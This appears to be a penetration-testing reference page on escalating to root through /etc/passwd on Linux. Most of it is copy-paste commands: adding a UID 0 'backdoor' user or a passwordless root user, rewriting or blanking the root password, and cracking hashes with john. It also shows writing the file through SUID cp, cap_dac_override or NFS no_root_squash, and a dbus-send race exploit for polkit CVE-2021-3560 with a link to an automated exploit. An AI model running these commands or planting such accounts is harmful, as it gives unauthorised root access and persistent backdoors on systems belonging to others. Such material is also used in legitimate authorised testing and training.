Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
Overview
/etc/passwd defines user accounts. If writable, you can add a root-level user or modify existing entries. Even read access helps — password hashes may still be stored here on older systems.
Check Permissions
If writable by current user → direct edit.
username:password:UID:GID:comment:home:shell
| Field | Example | Notes |
|---|
| username | root | Login name |
| password | x | x = hash in /etc/shadow. If actual hash here, it takes priority |
| UID | 0 | 0 = root |
| GID | 0 | 0 = root group |
| comment | root | GECOS field |
| home | /root | Home directory |
| shell | /bin/bash | Login shell |
Generate Password Hash
OpenSSL
openssl passwd -1 password123
# Output: $1$xyz$abc...
openssl passwd -6 password123
# Output: $6$xyz$abc... (SHA-512, stronger)
mkpasswd
mkpasswd -m sha-512 password123
Python
python3 -c 'import crypt; print(crypt.crypt("password123", crypt.mksalt(crypt.METHOD_SHA512)))'
Add Root User
Writable /etc/passwd
# Generate hash
HASH=$(openssl passwd -1 password123)
# Add user with UID 0
echo "backdoor:$HASH:0:0::/root:/bin/bash" >> /etc/passwd
Switch to new user:
su backdoor
# Password: password123
# whoami → root
One-liner
echo 'backdoor:$1$salt$hash:0:0::/root:/bin/bash' >> /etc/passwd && su backdoor
Add User Without Password
echo "nopass::0:0::/root:/bin/bash" >> /etc/passwd
su nopass
Empty password field = no password required.
Modify Existing User to Root
Change UID/GID of current user to 0:
# Before: user:x:1000:1000::/home/user:/bin/bash
# After: user:x:0:0::/home/user:/bin/bash
sed -i 's/user:x:1000:1000/user:x:0:0/' /etc/passwd
Re-login or:
Overwrite Root Password
Replace x with actual hash — bypasses /etc/shadow:
HASH=$(openssl passwd -1 newpassword)
sed -i "s|root:x:|root:$HASH:|" /etc/passwd
su root
# Password: newpassword
Remove Root Password
sed -i 's/root:x:/root::/' /etc/passwd
su root
# No password needed
Read-Only /etc/passwd (Hash Cracking)
Even without write access, if hashes are in /etc/passwd (not x):
cat /etc/passwd | grep -v ":x:" | grep -v ":\*:" | grep -v ":!:"
Crack with john:
john --wordlist=/usr/share/wordlists/rockyou.txt passwd
Via Other Write Primitives
SUID cp
# Copy passwd, modify, overwrite
cp /etc/passwd /tmp/passwd.bak
echo "backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash" >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
Capability cap_dac_override
# Python with cap_dac_override
python3 -c '
import os
with open("/etc/passwd", "a") as f:
f.write("backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash\n")
'
NFS no_root_squash
# From attacker as root on mounted share
echo "backdoor:$(openssl passwd -1 pass):0:0::/root:/bin/bash" >> /mnt/nfs/etc/passwd
Polkit — CVE-2021-3560
Exploit polkit race condition to create privileged user.
Check Vulnerable
pkaction --version
# Vulnerable: polkit <= 0.117 (certain distros)
Affected Systems
- Ubuntu 20.04
- Debian 11
- Fedora 33
- CentOS 8
Exploit
# Create user
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:backdoor string:"Backdoor" int32:1 &
sleep 0.005s; kill $!
# Set password
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$6$salt$hash' string:"" &
sleep 0.005s; kill $!
Timing-dependent — may need multiple attempts:
for i in $(seq 1 100); do
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:backdoor string:"Backdoor" int32:1 &
sleep 0.008s; kill $! 2>/dev/null
done
Automated Exploit
https://github.com/Almorabea/Polkit-exploit
python3 CVE-2021-3560.py